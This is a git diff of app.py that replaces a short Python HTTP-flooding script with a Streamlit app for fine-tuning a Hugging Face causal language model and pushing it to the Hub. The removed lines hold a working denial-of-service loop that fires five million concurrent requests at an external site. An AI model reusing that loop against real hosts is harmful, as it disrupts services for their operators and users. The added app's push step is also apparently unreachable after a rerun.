Update app.py

app.py

@@ -1,18 +1,127 @@
-import requests
-from concurrent.futures import ThreadPoolExecutor
+import streamlit as st
+import json
+import torch
+from transformers import AutoTokenizer, AutoModelForCausalLM, Trainer, TrainingArguments
+from datasets import Dataset
+from peft import LoraConfig, get_peft_model
+from huggingface_hub import HfApi, HfFolder, Repository
 
-url = "https://k-anime.zone.id"          # ← change this
-headers = {"User-Agent": "Dead/1.0"}
+# -------- CONFIG ----------
+MODEL_ID = "Neon-AI/Niche"
+CHECKPOINT_DIR = "./checkpoints"
+HF_TOKEN = st.secrets["HF_TOKEN"]
 
-def make_request():
+st.title("🧠 Niche Trainer with Push to HF")
+
+# ---------- Load model once ----------
+@st.cache_resource
+def load_model():
+    tokenizer = AutoTokenizer.from_pretrained(MODEL_ID)
+    model = AutoModelForCausalLM.from_pretrained(
+        MODEL_ID,
+        torch_dtype=torch.float16 if torch.cuda.is_available() else torch.float32
+    )
+    if tokenizer.pad_token is None:
+        tokenizer.pad_token = tokenizer.eos_token
+        model.resize_token_embeddings(len(tokenizer))
+    return tokenizer, model
+
+tokenizer, model = load_model()
+
+# ---------- LoRA / Full model selection ----------
+finetune_type = st.radio("Select fine-tune type:", ["Full model", "LoRA"])
+
+# ---------- JSON input ----------
+st.subheader("Paste your JSON training examples")
+json_input = st.text_area(
+    "JSON format: [{'prompt': 'Hello', 'response': 'Hi there!'}, ...]",
+    height=300,
+    placeholder='[{"prompt": "...", "response": "..."}]'
+)
+
+# ---------- Train ----------
+train_started = False
+if st.button("Train"):
+    try:
+        examples = json.loads(json_input)
+        if not examples:
+            st.warning("No examples provided!")
+        else:
+            texts = [
+                f"### User:\n{e['prompt']}\n\n### Assistant:\n{e['response']}"
+                for e in examples
+            ]
+            ds = Dataset.from_dict({"text": texts})
+
+            def tokenize(batch):
+                out = tokenizer(batch["text"], truncation=True, padding="max_length", max_length=256)
+                out["labels"] = out["input_ids"].copy()
+                return out
+
+            ds = ds.map(tokenize, batched=True)
+            ds.set_format("torch")
+
+            # ---------- Apply LoRA if selected ----------
+            if finetune_type == "LoRA":
+                peft_config = LoraConfig(
+                    task_type="CAUSAL_LM",
+                    r=16,
+                    lora_alpha=32,
+                    lora_dropout=0.1,
+                    target_modules=["c_attn"]
+                )
+                model_peft = get_peft_model(model, peft_config)
+                train_model = model_peft
+            else:
+                train_model = model
+
+            args = TrainingArguments(
+                output_dir=CHECKPOINT_DIR,
+                per_device_train_batch_size=1,
+                gradient_accumulation_steps=2,
+                num_train_epochs=1,
+                learning_rate=2e-5,
+                logging_steps=1,
+                save_strategy="no",
+                report_to="none",
+            )
+
+            trainer = Trainer(
+                model=train_model,
+                args=args,
+                train_dataset=ds
+            )
+
+            st.info("Training started...")
+            trainer.train()
+            st.success("✅ Training done!")
+            train_started = True
+    except Exception as e:
+        st.error(f"Error: {e}")
+
+# ---------- Push to HF ----------
+if train_started and st.button("Push to Hugging Face"):
     try:
-        r = requests.get(url, headers=headers, timeout=5)
-        return r.status_code
-    except:
-        return "Error"
+        repo = Repository(
+            local_dir=CHECKPOINT_DIR,
+            clone_from=MODEL_ID,
+            use_auth_token=HF_TOKEN
+        )
+        # Save trained model + tokenizer
+        train_model.save_pretrained(CHECKPOINT_DIR)
+        tokenizer.save_pretrained(CHECKPOINT_DIR)
 
-with ThreadPoolExecutor(max_workers=5000000) as executor:
-    results = list(executor.map(lambda _: make_request(), range(5000000)))
+        repo.push_to_hub(commit_message="Update Niche model with new training")
+        st.success("✅ Model pushed to HF successfully!")
+    except Exception as e:
+        st.error(f"Push failed: {e}")
 
-print("Results:", results)
-print("429s / blocks:", results.count(429))
+# ---------- Chat ----------
+st.subheader("Test the model")
+user_prompt = st.text_input("You:", "")
+if st.button("Send"):
+    if user_prompt.strip():
+        inputs = tokenizer(user_prompt, return_tensors="pt").to(model.device)
+        outputs = model.generate(**inputs, max_new_tokens=100, do_sample=True, temperature=0.7)
+        response = tokenizer.decode(outputs[0], skip_special_tokens=True)
+        st.text_area("Niche:", value=response, height=200)